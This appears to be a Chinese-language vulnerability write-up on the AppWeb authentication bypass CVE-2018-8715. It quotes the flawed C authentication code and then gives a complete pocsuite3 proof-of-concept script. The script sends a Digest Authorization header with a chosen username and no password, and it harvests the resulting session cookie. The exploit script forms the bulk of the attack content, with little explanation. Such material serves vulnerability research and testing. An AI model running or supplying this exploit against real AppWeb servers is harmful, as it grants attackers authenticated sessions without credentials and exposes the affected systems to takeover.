AppWeb认证绕过漏洞(CVE-2018-8715)

1、basic 传统HTTP基础认证

2、digest 改进版HTTP基础认证，认证成功后将使用Cookie来保存状态，而不用再传递Authorization头

3、form 表单认证

/*
    This condition is used to implement all user authentication for routes
 */
static int authCondition(HttpConn *conn, HttpRoute *route, HttpRouteOp *op)
{
    HttpAuth    *auth;
    cchar       *username, *password;

    assert(conn);
    assert(route);

    auth = route->auth;
    if (!auth || !auth->type) {
        /* Authentication not required */
        return HTTP_ROUTE_OK;
    }
    if (!httpIsAuthenticated(conn)) {
        httpGetCredentials(conn, &username, &password);
        if (!httpLogin(conn, username, password)) {
            if (!conn->tx->finalized) {
                if (auth && auth->type) {
                    (auth->type->askLogin)(conn);
                } else {
                    httpError(conn, HTTP_CODE_UNAUTHORIZED, "Access Denied, login required");
                }
                /* Request has been denied and a response generated. So OK to accept this route. */
            }
            return HTTP_ROUTE_OK;
        }
    }
    if (!httpCanUser(conn, NULL)) {
        httpTrace(conn, "auth.check", "error", "msg:'Access denied, user is not authorized for access'");
        if (!conn->tx->finalized) {
            httpError(conn, HTTP_CODE_FORBIDDEN, "Access denied. User is not authorized for access.");
            /* Request has been denied and a response generated. So OK to accept this route. */
        }
    }
    /* OK to accept route. This does not mean the request was authenticated - an error may have been already generated */
    return HTTP_ROUTE_OK;
}

/*
    Get the username and password credentials. If using an in-protocol auth scheme like basic|digest, the
    rx->authDetails will contain the credentials and the parseAuth callback will be invoked to parse.
    Otherwise, it is expected that "username" and "password" fields are present in the request parameters.
    This is called by authCondition which thereafter calls httpLogin
 */
PUBLIC bool httpGetCredentials(HttpConn *conn, cchar **username, cchar **password)
{
    HttpAuth    *auth;

    assert(username);
    assert(password);
    *username = *password = NULL;

    auth = conn->rx->route->auth;
    if (!auth || !auth->type) {
        return 0;
    }
    if (auth->type) {
        if (conn->authType && !smatch(conn->authType, auth->type->name)) {
            if (!(smatch(auth->type->name, "form") && conn->rx->flags & HTTP_POST)) {
                /* If a posted form authentication, ignore any basic|digest details in request */
                return 0;
            }
        }
        if (auth->type->parseAuth && (auth->type->parseAuth)(conn, username, password) < 0) {
            return 0;
        }
    } else {
        *username = httpGetParam(conn, "username", 0);
        *password = httpGetParam(conn, "password", 0);
    }
    return 1;
}

/*
    Login the user and create an authenticated session state store
 */
PUBLIC bool httpLogin(HttpConn *conn, cchar *username, cchar *password)
{
    HttpRx          *rx;
    HttpAuth        *auth;
    HttpSession     *session;
    HttpVerifyUser  verifyUser;

    rx = conn->rx;
    auth = rx->route->auth;
    if (!username || !*username) {
        httpTrace(conn, "auth.login.error", "error", "msg:'missing username'");
        return 0;
    }
    if (!auth->store) {
        mprLog("error http auth", 0, "No AuthStore defined");
        return 0;
    }
    if ((verifyUser = auth->verifyUser) == 0) {
        if (!auth->parent || (verifyUser = auth->parent->verifyUser) == 0) {
            verifyUser = auth->store->verifyUser;
        }
    }
    if (!verifyUser) {
        mprLog("error http auth", 0, "No user verification routine defined on route %s", rx->route->pattern);
        return 0;
    }
    if (auth->username && *auth->username) {
        /* If using auto-login, replace the username */
        username = auth->username;
        password = 0;
    }
    if (!(verifyUser)(conn, username, password)) {
        return 0;
    }
    if (!(auth->flags & HTTP_AUTH_NO_SESSION) && !auth->store->noSession) {
        if ((session = httpCreateSession(conn)) == 0) {
            /* Too many sessions */
            return 0;
        }
        httpSetSessionVar(conn, HTTP_SESSION_USERNAME, username);
        httpSetSessionVar(conn, HTTP_SESSION_IP, conn->ip);
    }
    rx->authenticated = 1;
    rx->authenticateProbed = 1;
    conn->username = sclone(username);
    conn->encoded = 0;
    return 1;
}

from collections import OrderedDict
from pocsuite3.api import Output, POCBase, OptString, register_poc, requests

class AppWebPoc(POCBase):
	vulID = '003'
	version = '1.0'
	author = ['ol4three']
	vulDate = '2020-12-22'
	updateDate = '2020-12-22'
	references = ['https://ssd-disclosure.com/ssd-advisory-appweb-authentication-bypass-digest-and-forms/']
	name = 'AppWeb CVE-2018-8715'
	appPowerLink = 'https://www.embedthis.com/'
	appName = 'AppWeb'
	appVersion = '<7.0.3'
	vulType = 'Login Bypass'
	desc = '''
 			session
 			'''
	pocDesc = '''
 	pocsuite -r ***.py -u target --verify"
 	'''
	samples = []
	install_requires = []


	def _options(self):
		o = OrderedDict()
		o["username"] = OptString('', description='这个poc需要用户登录，请输入登录账号', require=True)
		return o

	def _verify(self):
		result = {}
		payload = self.get_option("username")
		#payload = "username={0}".format(self.get_option("username"))
		url = self.url
		headers={
			'Authorization':  'Digest username="' +str(payload) +'"'
		}
		# proxies={
		# 'http':'127.0.0.1:8080',
		# 'https':'127.0.0.1:8080'
		# }
		r = requests.get(url, headers=headers)
		if r.status_code == 200:
			result['VerifyInfo'] = {}
			result['VerifyInfo']['URL'] = url
			result['VerifyInfo']['set-cookie'] = r.headers['set-cookie']
		return self.parse_output(result)

	def parse_output(self, result):
 		output = Output(self)
 		if result:
 			output.success(result)
 		else:
 			output.fail('target is not vulnerable')
 		return output

	def _attack(self):
		return self._verify()

register_poc(AppWebPoc)